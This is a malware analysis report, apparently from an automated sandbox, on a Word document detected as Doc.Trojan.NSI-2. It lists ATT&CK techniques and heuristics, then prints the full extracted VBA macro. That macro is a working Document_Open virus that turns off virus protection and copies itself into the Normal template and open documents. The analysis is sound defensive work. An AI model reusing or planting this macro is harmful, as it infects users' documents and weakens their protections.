MALICIOUS
180
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is identified as malicious by ClamAV with the signature Doc.Trojan.NSI-2. It contains VBA macros, specifically a Document_Open macro, which is designed to execute automatically when the document is opened. The macro attempts to modify the document's code and save it, suggesting an attempt to embed malicious content or establish persistence.
Heuristics 3
-
ClamAV: Doc.Trojan.NSI-2 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.NSI-2
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
Document_Open macro high OLE_VBA_DOCOPENDocument_Open macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1440 bytes |
SHA-256: e079b95266a0e0d5660d16f0a2fb01e412fa87972179334ebea88a335adb5ab2 |
|||
|
Detection
ClamAV:
Doc.Trojan.NSI-2
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
End Sub
Private Sub Document_Open()
On Error Resume Next
Options.VirusProtection = False
EnableCancelKey = wdCancelDisabled
Set maci = MacroContainer.VBProject.VBComponents.Item(1)
Set macic = maci.CodeModule
ns$ = Left(macic.lines(1, 1), 21)
Set inf = NormalTemplate: nsi$ = ns$
If MacroContainer = inf Then Set inf = ActiveDocument: nsi$ = ns$
Set infc = inf.VBProject.VBComponents
Set infi = infc.Item(1)
Set infic = infi.CodeModule
infi.Name = "ThisDocument"
For mx = 2 To infc.Count
infc.Remove infc.Item(2)
Next mx
If infic.countlines <> macic.CountOfLines Then
infic.deletelines 1, infic.CountOfLines
For coco = 1 To macic.CountOfLines
infic.insertlines coco, macic.lines(coco, 1)
Next coco
infic.replaceline 1, nsi$
End If
If Left(ActiveDocument.Name, 8) <> Mid$(macic.lines(1, 1), 13, 8) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
EnableCancelKey = wdCancelDisabled
End Sub
'ThisDocument v 1.0 1999
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.